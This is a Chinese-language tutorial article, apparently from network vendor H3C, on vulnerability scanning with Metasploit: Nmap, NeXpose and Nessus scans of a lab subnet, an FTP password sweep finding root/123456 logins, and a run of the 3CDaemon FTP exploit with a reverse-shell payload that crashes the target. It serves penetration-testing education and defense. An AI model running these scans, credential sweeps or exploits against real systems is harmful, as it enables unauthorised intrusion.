一 漏洞及漏洞发掘方法
漏洞,是指在硬件、软件、协议实现或系统安全策略上存在缺陷,攻击者能够在未授权的情况下对系统进行访问或破坏。它会成为入侵者侵入系统和植入恶意软件的入口,影响系统用户的切身利益。漏洞与目标系统的操作系统版本、软件版本以及服务设置密切相关。研究漏洞必须要了解当前计算机系统及其安全问题的最新发展动态。常见的漏洞包括缓冲区溢出漏洞、跨站脚本漏洞(XSS)、SQL注入漏洞、数据库漏洞以及WEB应用漏洞等。
常见的漏洞发掘方法分为以下几种。
m 黑盒攻击(Fuzzing):即通过注入数据进行自动化测试。
m 获取攻击对象的源代码进行审计:网络上有很多源代码审计工具可供使用,如Fortify。
m 反汇编审计:如果无法获取到源代码,可以基于汇编码进行反汇编审计。IDA是一款常用的反汇编软件。
m 动态跟踪分析:通过记录程序在不同条件下执行操作(如文件操作),分析这些操作序列是否存在问题。
m 补丁比较:厂商软件的问题通常都会在补丁中解决,如微软的Windows操作系统会不定期发布补丁程序,通过对比补丁前后文件的源码(或反汇编码)就能了解漏洞的具体细节。
目前,针对常用的漏洞发掘方法已经开发出了很多漏洞扫描工具。漏洞扫描工具是一种能在计算机、信息系统、网络及应用软件中查找安全弱点的程序。通过对目标系统进行探测,向目标系统发送数据,并将反馈结果与漏洞特征库进行匹配,分析出目标系统上存在的安全漏洞。比较常用的漏洞扫描工具有Metasploit、Nmap、NeXpose、Nessus、Xscan等。
二 Metasploit Framework工具简介
Metasploit Framework是一个强大的开源平台,为渗透测试、shellcode 编写和漏洞研究提供了一个可靠环境。它集成了各种常见的溢出漏洞和shellcode ,并且不断更新。当前版本收集了上千个实用的溢出攻击程序及一些辅助工具,操作简单,易用性好。当然,它不只是一个简单的收集工具,还提供了所有的类和方法,以便开发人员使用这些代码方便快速的进行二次开发。漏洞扫描只是Metasploit Framewotk众多功能中的一种,本文只介绍它的漏洞扫描功能。
Metasploit Framework的总体架构如图1所示,它包含Exploit、Auxiliary、Payload等多个模块:
m Exploit是攻击模块,基本上目前所有的操作系统在Metasploit Framework上均有对应的攻击模块;
m Auxiliary是辅助模块,用途非常广泛,它可以作为扫描器、拒绝服务攻击工具、Fuzz测试器,以及其他类型的工具;
m Payload是在目标系统被攻陷之后执行的代码,如添加用户账号,获取shell交互权限等;
图1 Metasploit Framework整体架构
三 Metasploit的几种漏洞扫描组件
1 Nmap
Nmap适用于Winodws、Linux、Mac等操作系统。它用于主机发现、端口发现或枚举、服务发现,检测操作系统、硬件地址、软件版本以及脆弱性的漏洞。Metasploit Framework平台集成了Nmap组件。通常在对目标系统发起攻击之前需要进行一些必要的信息收集,如获取网络中的活动主机、主机开放的端口等。
Nmap扫描存活主机及主机运行的服务:
nmap -P0 192.168.20.1-10,扫描结果显示网络中活动的主机有7台,且列举出了每台主机运行的服务及主机MAC地址。
msf > nmap -P0 192.168.20.1-10
[*] exec: nmap -P0 192.168.20.1-10
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????
Nmap scan report for 192.168.20.1
Host is up (0.00014s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)
……
Nmap scan report for 192.168.20.4
Host is up (0.0098s latency).
Not shown: 986 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
3389/tcp open ms-wbt-server
MAC Address: 68:05:CA:0E:BF:59 (Intel)
……
Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds
msf >
Nmap扫描操作系统和服务软件版本信息:
msf > nmap -A -T4 192.168.20.4,Nmap显示的扫描结果相当详细,列出了目标服务器192.168.20.4上运行的操作系统是微软的Windows 7或者Windows 2008,提供FTP服务的软件是3Com 3CDaemon FTP Server,版本号为2.0,并且使用匿名账号anonymous可以登陆成功。
msf > nmap -A -T4 192.168.20.4
[*] exec: nmap -A -T4 192.168.20.4
Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????
Nmap scan report for 192.168.20.4
Host is up (0.0074s latency).
Not shown: 986 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp 3Com 3CDaemon ftpd 2.0
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-bounce: bounce working!
80/tcp open http HttpFileServer httpd 1.5g
|_http-title: JAX SERVER- /
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http VMware VirtualCenter Web service
445/tcp open netbios-ssn
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
3389/tcp open ms-wbt-server Microsoft Terminal Service
MAC Address: 68:05:CA:0E:BF:59 (Intel)
Device type: general purpose
Running: Microsoft Windows 7|2008
TRACEROUTE
HOP RTT ADDRESS
1 7.38 ms 192.168.20.4
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds
msf >
2 NeXpose
NeXpose通过扫描网络,可以查找出网络上正在运行的设备,并识别出设备的操作系统和应用程序的漏洞,并对扫描出的数据进行分析和处理,生成漏洞扫描报告。
首先,如图2所示,在Metasploit Framework中加载NeXpose插件:
图2 加载NeX
pose插件
使用nexpose_scan命令对目标主机进行漏洞扫描:
msf > nexpose_scan 192.168.20.4
[*]Scanning 1 address with template pentest-audit in sets of 32
[*]Completed the scan of 1 address
msf >
查看漏洞扫描结果,扫描程序发现了7个漏洞:
msf > db_hosts –c address
Hosts
=====
address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.20.4 8 7 default
msf>
输入db_vulns可以显示已发现漏洞的详细情况:
msf > db_vulns
[*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299
……
For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating
msf >
3 Nessus
Nessus是当前使用最广泛的漏洞扫描工具之一。Nessus采用client/sever模式,服务器端负责进行安全检查,客户端用来配置管理服务器端。在服务端还采用了plug-in的体系,允许用户加入执行特定功能的插件,这插件可以进行更快速和更复杂的安全检查。
如图3所示,在Metasploit Framework中加载Nessus插件:
图3 加载Nessus插件
创建扫描任务:
msf > nessus_scan_new 2 test_scan 192.168.20.4
[*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4
[*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb
msf>
查看扫描运行状态,“No Scans Running”表示扫描已完成:
msf > db_hosts –c address
[*] No Scans Running
msf>
查看扫描结果,扫描程序发现345个漏洞:
msf > db_hosts –c address,svcs,vulns
Hosts
=====
address Svcs Vulns
------- ---- -----
192.168.20.4 18 345
msf>
从扫描结果可以看出,对同一个目标主机进行扫描,Nessus扫描出的漏洞数量与NeXpose扫描出的数量有明显的差异。通过对不同工具的扫描结果进行对比分析,对了解扫描工具本身,和更精确地确定目标系统存在的漏洞都是非常有帮助的。
4 Metasploit的专用FTP扫描器
除了集成的扫描工具,Metasploit自带的辅助模块,可以针对网络中特定的漏洞进行扫描。下面以FTP扫描为例,介绍Metasploit自带扫描器的使用方法。
选择ftp_login模块,扫描网段192.168.20.1-10中能使用固定用户名和密码root/123456登陆主机:
msf > use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set USERNAME root
USERNAME => root
msf auxiliary(ftp_login) > set PASSWORD 123456
PASSWORD => 123456
msf auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10
RHOSTS => 192.168.20.1-10
msf auxiliary(ftp_login) > run
[*] 192.168.20.1:21 - Starting FTP login sweep
[*] Connecting to FTP server 192.168.20.1:21...
……
[*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'
[+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.1:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.4:21...
[*] Connected to target FTP server.
[+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.4:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.6:21...
[*] Connected to target FTP server.
[+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.6:21 - User 'root' has READ/WRITE access
……
[*] Connecting to FTP server 192.168.20.9:21...
[*] Connected to target FTP server.
[+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'
[*] 192.168.20.9:21 - User 'root' has READ/WRITE access
[*] Scanned 10 of 10 hosts (100% complete)
[*] Auxiliary module execution completed
查看输出结果,10个IP中有4台FTP Server均能使用root/123456账号登陆,并且含有读写权限。通常在公司内网里,很多人习惯使用简单的账号,没有足够的安全意识,当攻击者成功入侵内网后,这些工作站将非常危险。
四Metasploit的一个攻击实例
漏洞扫描仅仅是Metasploit Framework强大功能的冰山一角,下面简单说明一下Metasploit执行一次攻击测试的方法。利用上面Nmap的扫描结果,选取192.168.20.4上所运行的3Com 3CDaemon FTP Server为攻击目标。通过前面的扫描可以得到目标主机运行的操作系统及应用程序版本的详细信息,如图4所示,在Metasploit Framework里搜索针对3CDaemon的攻击脚本:
图4 搜索针对3CDaemon的攻击脚本
use命令进入搜索到的exploit:
msf > use exploit/windows/ftp/3cdaemon_ftp_user
msf exploit(3cdaemon_ftp_user) >
Set RHOST命令设置攻击目标机的IP地址:
msf exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4
RHOST => 192.168.20.4
Set target命令设置目标机的操作系统类型:
msf exploit(3cdaemon_ftp_user) > set target 4
target => 4
设置完成之后, show options显示设置好的参数信息:
msf exploit(3cdaemon_ftp_user) > show options
Module options (exploit/windows/ftp/3cdaemon_ftp_user):
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOST 192.168.20.4 yes The target address
RPORT 21 yes The target port
Payload options (windows/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process, none
LHOST 192.168.20.67 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
4 Windows XP English SP3
输入exploit命令,开始攻击:
msf exploit(3cdaemon_ftp_user) > exploit
[*] Started reverse handler on 192.168.20.67:4444
[*] Trying target Windows XP English SP3...
msf exploit(3cdaemon_ftp_user) >
如图5所示查看目标机3CDaemon FTP软件显示崩溃,攻击成功!
图5 3CDaemon FTP崩溃
分析抓包结果,可以看出该FTP攻击脚本是利用超长用户名(如图6所示)导致FTP Server崩溃的。
图6 抓包结果
五 结束语
避免黑客攻击,部署专门的漏洞检测防御系统是非常必要的。Metasploit提供了丰富的扫描功能、攻击脚本及二次开发的平台,使网络安全漏洞检测变得相对容易。H3C的IPS(Intrusion Prevention System)采用系统的防御方法,结合智能的规则识别技术可以对各种漏洞攻击进行有效的防御。为应对技术的更新,H3C攻防团队会主动关注网络上新的攻击方式,并将分析结果及时添加到IPS特征库中供客户升级使用。对于系统维护者来说,积极主动的查找漏洞并打上相应补丁,同时结合专业的防御设备进行入侵防御,毫无疑问是维护系统安全的最佳方法。